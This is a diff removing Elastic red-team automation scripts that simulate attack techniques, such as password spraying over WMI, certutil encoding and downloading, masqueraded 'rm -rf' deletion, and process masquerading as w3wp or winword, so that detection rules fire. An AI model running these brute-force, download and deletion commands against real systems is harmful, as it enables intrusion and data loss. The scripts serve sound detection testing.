@@ -1,75 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Brute Force Login Attempts
# RTA: brute_force_login.py
# ATT&CK: T1110
# Description: Simulates brute force or password spraying tactics.
# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`
import random
import string
import sys
import time
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="35bb73a9-cafa-4b2c-81f0-a97e2afa5e1c",
platforms=["windows"],
endpoint=[],
siem=[
{"rule_id": "e08ccd49-0380-4b2b-8d71-8000377d6e49", "rule_name": "Attempts to Brute Force an Okta User Account"}
],
techniques=["T1110"],
)
@common.requires_os(*metadata.platforms)
def main(username="rta-tester", remote_host=None):
if not remote_host:
common.log("A remote host is required to detonate this RTA", "!")
return common.MISSING_REMOTE_HOST
common.enable_logon_auditing(remote_host)
common.log("Brute forcing login with invalid password against {}".format(remote_host))
ps_command = """
$PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force
$CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
"""
command = [
"powershell",
"-c",
ps_command.format(username=username, host=remote_host),
]
# fail 4 times - the first 3 concurrently and wait for the final to complete
for i in range(4):
common.execute(command, wait=i == 3)
time.sleep(1)
common.log("Password spraying against {}".format(remote_host))
# fail 5 times - the first 4 concurrently and wait for the final to complete
for i in range(5):
random_user = "".join(random.sample(string.ascii_letters, 10))
command = [
"powershell",
"-c",
ps_command.format(username=random_user, host=remote_host),
]
common.execute(command, wait=i == 4)
# allow time for audit event to process
time.sleep(2)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
-61
View File
@@ -1,61 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import os
import pathlib
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="c69a06f3-3873-4d5d-8584-035e0921b4a8",
platforms=["macos", "linux"],
endpoint=[
{
"rule_id": "15019d7c-42e6-4cf7-88b0-0c3a6963e6f5",
"rule_name": "Suspicious Recursive File Deletion via Built-In Utilities",
},
],
siem=[],
techniques=["T1565", "T1485"],
)
@common.requires_os(*metadata.platforms)
def main() -> None:
masquerade = "/tmp/xargs"
masquerade2 = "/tmp/rm"
# used only for linux at 2 places to enumerate xargs as parent process.
working_dir = "/tmp/fake_folder/xargs"
if common.CURRENT_OS == "linux":
# Using the Linux binary that simulates parent-> child process in Linux
source = common.get_path("bin", "linux_ditto_and_spawn_parent_child")
common.copy_file(source, masquerade)
common.copy_file(source, masquerade2)
# As opposed to macos, where the masquerade is being projected as parent process,
# in linux the working directory is being projected as parent process.
# Hence, to simulate the parent process without many changes to execute logic
# a fake folder structure is created for execution.
# The execution working directory is changed to the fake folder, to simulate as xargs parent process in Linux.
pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True)
os.chdir(working_dir)
else:
common.create_macos_masquerade(masquerade)
common.create_macos_masquerade(masquerade2)
# Execute command
common.log("Launching fake builtin commands to recursively delete")
command = f"{masquerade2} -rf arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 /home/test"
common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604
# cleanup
common.remove_file(masquerade)
common.remove_file(masquerade2)
if common.CURRENT_OS == "linux":
common.remove_directory(working_dir)
if __name__ == "__main__":
sys.exit(main())
-44
View File
@@ -1,44 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="ba802fb2-f183-420e-947m-da5ce0235d123",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"},
{"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"},
{"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}],
techniques=["T1071", "T1204", "T1071.004"],
)
# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file
ISO = common.get_path("bin", "ping_dns_from_iso.iso")
PROC = 'ping.exe'
# ps script to mount, execute a file and unmount ISO device
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
@common.requires_os(*metadata.platforms)
def main():
if Path(ISO).is_file() and Path(PS_SCRIPT).is_file():
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
# 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file
for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] :
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
# command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';'
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};"
common.execute(command)
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="44345dc0-883f-41b7-ad34-1d84cfd57129",
platforms=["macos"],
endpoint=[],
siem=[{"rule_name": "Suspicious Calendar File Modification", "rule_id": "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51"}],
techniques=["T1546"],
)
@common.requires_os(*metadata.platforms)
def main():
cal_dir = Path(f"{Path.home()}/Library/Calendars/")
cal_calendar = cal_dir.joinpath("test.calendar", "Events")
cal_calendar.mkdir(parents=True, exist_ok=True)
cal_path = str(cal_calendar.joinpath("test.ics"))
common.log(f"Executing file modification on {cal_path} to mimic suspicious calendar file modification")
common.temporary_file_helper("testing", file_name=cal_path)
# cleanup
common.remove_directory(str(cal_calendar))
common.remove_directory(str(cal_dir))
if __name__ == "__main__":
exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="fcd2d0fe-fed2-424a-bdc5-e9bef5031344",
platforms=["linux"],
endpoint=[{"rule_name": "Network Activity Detected via cat", "rule_id": "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"}],
siem=[{"rule_name": "Network Activity Detected via cat", "rule_id": "afd04601-12fc-4149-9b78-9c3f8fe45d39"}],
techniques=[""],
)
@common.requires_os(metadata.platforms)
def main() -> None:
common.log("Creating a fake cat executable..")
masquerade = "/tmp/cat"
source = common.get_path("bin", "netcon_exec_chain.elf")
common.copy_file(source, masquerade)
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
common.log("Simulating cat network activity..")
common.execute([masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"], timeout=10, kill=True, shell=True) # noqa: S604
common.log("Cat network simulation successful!")
common.log("Cleaning...")
common.remove_file(masquerade)
common.log("RTA completed!")
if __name__ == "__main__":
sys.exit(main())
-48
View File
@@ -1,48 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Certutil Encode / Decode
# RTA: certutil_file_obfuscation.py
# ATT&CK: T1140
# signal.rule.name: Encoding or Decoding Files via CertUtil
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.
from pathlib import Path
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="7b2c1b3e-2097-4e2f-bf5c-e157a91b8001",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "fd70c98a-c410-42dc-a2e3-761c71848acf", "rule_name": "Suspicious CertUtil Commands"}],
techniques=["T1140"],
)
@common.requires_os(*metadata.platforms)
def main():
common.log("Encoding target")
encoded_file = Path("encoded.txt").resolve()
decoded_file = Path("decoded.exe").resolve()
common.execute(
[
"c:\\Windows\\System32\\certutil.exe",
"-encode",
"c:\\windows\\system32\\cmd.exe",
encoded_file,
]
)
common.log("Decoding target")
common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])
common.log("Cleaning up")
common.remove_file(encoded_file)
common.remove_file(decoded_file)
if __name__ == "__main__":
exit(main())
-45
View File
@@ -1,45 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Downloading Files With Certutil
# RTA: certutil_webrequest.py
# ATT&CK: T1105
# Description: Uses certutil.exe to download a file.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="10609a63-0013-4fd0-9322-66c86c1c9501",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "3838e0e3-1850-4850-a411-2e8c5ba40ba8", "rule_name": "Network Connection via Certutil"}],
techniques=["T1105"],
)
MY_DLL = common.get_path("bin", "mydll.dll")
@common.requires_os(*metadata.platforms)
@common.dependencies(MY_DLL)
def main():
# http server will terminate on main thread exit
# if daemon is True
server, ip, port = common.serve_web()
uri = "bin/mydll.dll"
target_file = "mydll.dll"
common.clear_web_cache()
url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri)
common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file])
server.shutdown()
common.remove_file(target_file)
if __name__ == "__main__":
exit(main())
-44
View File
@@ -1,44 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="be6619a2-324a-443b-9f23-2dc84733c847",
platforms=["windows"],
endpoint=[
{
"rule_name": "Suspicious Microsoft IIS Worker Descendant",
"rule_id": "89c9c5a0-a136-41e9-8cc8-f21ef5ad894b"
}
],
siem=[
{
"rule_id": "f81ee52c-297e-46d9-9205-07e66931df26",
"rule_name": "Microsoft Exchange Worker Spawning Suspicious Processes"
},
{
"rule_name": "Web Shell Detection: Script Process Child of Common Web Processes",
"rule_id": "2917d495-59bd-4250-b395-c29409b76086"
}],
techniques=['T1190', 'T1059', 'T1059.001', 'T1059.003', 'T1505', 'T1505.003'],
)
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
@common.requires_os(*metadata.platforms)
def main():
w3wp = "C:\\Users\\Public\\w3wp.exe"
common.copy_file(EXE_FILE, w3wp)
common.execute([w3wp, "/c", "echo", "MSExchange1AppPool", "; cmd.exe"], timeout=10, kill=True)
common.remove_file(w3wp)
if __name__ == "__main__":
exit(main())
-39
View File
@@ -1,39 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="8d6f2979-747a-42d9-813a-ddadd90650d2",
platforms=["linux"],
endpoint=[
{
"rule_id": "7b9ddfc8-8ea8-45d5-b62f-3fbd142c8f08",
"rule_name": "Behavior Protection - Cloud Reputation EICAR",
},
],
siem=[],
techniques=["TA0002"],
)
@common.requires_os(metadata.platforms)
def main() -> None:
masquerade = "/tmp/bash"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
# Execute command
common.log("Launching Behavior Protection - Cloud Reputation EICAR")
common.execute([masquerade, "test-cloudreputationrule-5020a0031cad"], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
sys.exit(main())
-41
View File
@@ -1,41 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="9bf3622b-dd76-4156-a89c-6845dca46b1f",
platforms=["windows"],
endpoint=[
{"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"},
{
"rule_name": "Managed .NET Code Execution via Windows Script Interpreter",
"rule_id": "5a898048-d98c-44c6-b7ba-f63a31eb3571",
},
],
siem=[],
techniques=["T1220", "T1218", "T1055", "T1059"],
)
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
@common.requires_os(*metadata.platforms)
def main():
msxsl = "C:\\Users\\Public\\msxsl.exe"
fake_clr_path = "C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs"
fake_clr_logs = fake_clr_path + "\\msxsl.exe.log"
common.copy_file(EXE_FILE, msxsl)
Path(fake_clr_path).mkdir(parents=True, exist_ok=True)
common.log("Creating a fake clr log file")
common.execute([msxsl, "-c", f"echo RTA > {fake_clr_logs}"], timeout=10)
common.remove_files(msxsl, fake_clr_logs)
if __name__ == "__main__":
exit(main())
-38
View File
@@ -1,38 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="6c399694-d21c-4a19-9e58-8fa24eb399b9",
platforms=["windows"],
endpoint=[
{
"rule_name": "Windows Command Shell Spawned via Microsoft Office",
"rule_id": "2a396a3c-b343-42a9-b74b-c5b9925b6ee2",
}
],
siem=[],
techniques=["T1566", "T1059"],
)
EXE_FILE = common.get_path("bin", "renamed.exe")
@common.requires_os(*metadata.platforms)
def main():
binary = "winword.exe"
common.copy_file(EXE_FILE, binary)
# Execute command
common.execute([binary, "/c", "cmd.exe /c 'echo comspec'"], timeout=5, kill=True)
common.remove_files(binary)
if __name__ == "__main__":
exit(main())

Some files were not shown because too many files have changed in this diff Show More